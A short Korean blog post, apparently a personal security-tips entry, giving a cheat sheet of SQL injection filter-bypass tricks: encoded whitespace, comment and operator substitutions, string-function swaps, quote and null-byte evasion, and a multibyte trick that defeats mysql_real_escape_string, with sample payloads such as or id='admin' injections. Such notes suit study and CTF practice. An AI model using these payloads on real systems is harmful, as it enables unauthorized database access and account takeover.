Filter Bypass.
#Ord(), Chr().
Ord(string string) => 문자의 ASCII 코드 값을 추출해내는 함수.
Chr(int ASCII) => ASCII 코드 값에 해당되면 문자를 반환하는 함수.
즉 ASCII Code 값을 얻어오거나, 해당 ASCII Code 값을 문자로 변환시켜주는 함수.
Ex) echo '문자 a를 아스키 코드를 변환 => ord('a')
echo '아스키 코드를 97을 문자로 변환 => chr('97')
#Tab => %09.
no=1%09or%09id='admin'
#Line Feed (\n) => %0a.
no=1%0aor%0aid='admin'
#Carrage Return(\r) => %0d.
no=1%0dor%0did='admin'
#Comment => /**/.
no=1/**/or/**/id='admin'
#괄호 => ( ).
no=(1)or(id='admin')
#Add => +.
no=1+or+id='admin'
#Substr => ord,right,left,mid.
Ex) substr('admin',1,1) ='a' => left('admin',1)
#Ascii => ord,hex.
Ex) ord('admin')=97. => ord()는 가장 왼쪽의 문자를 아스키 코드 10진수로 전환.
#=,like,or,and.
Ex) = => like,between,in,instr.
!= => <>
or => ||(%7c%7c)
and => &&(%26%26)
#공백.
' ' => ( ), /**/, %09, %0a, %0b, %0c, %0d, %a0, +, %20.
#['].
' => %27, char, " <= 더블 쿼터.
#ereg,eregi.
특수문자 => %00(NULL).
문자열 => 대,소문자 변경.
#preg_match.
\.
Cf)#영어가 아닌 문자 Blind-injection, 한 글자 당 바이트 추출 => length(mid(pw,1,1))=4.
#Magic_quotes_gpc ==addslashes().
PHP에서 사용되는 설정값으로 값을 입력 받을 때 필터링이 필요한 문자 앞에 \ <=backslash를 붙임.
기본적으로 php.ini 파일에 ON으로 설정.
GET,POST,COOKiE 데이터 내 해당 문자가 있을 경우 필터링하여 반환.
#Mysql_real_escape_string().
PHP 내장 함수로 Sql injection을 방어하기 위해 사용.
Database로 전달되는 파라미터에 필터링이 필요한 문자가 입력된 경우 escape 문자(백슬래시,\)를 붙여 공격 방어.
magic_quotes_gpc와 비슷하지만 더 많은 문자열 치환.
Cf) 백슬래시(\) 앞에 %a1 ~ %fe와 같은 값을 입력하면 %a1\를 하나의 문자로 취급.
백슬래시가 사라지므로 escape 처리가 되지 않아 공격자의 의도대로 sql injection 공격 가능.
'#Tip' 카테고리의 다른 글
Pwnable Objdump. (0) | 2018.05.14 |
---|---|
Simple Chrome Developer Tools Shortcut. (0) | 2018.05.12 |
Unicode. (0) | 2018.05.09 |
Installing jdk and Setting environment variables. (0) | 2018.05.07 |
Burp Suite. (0) | 2018.05.07 |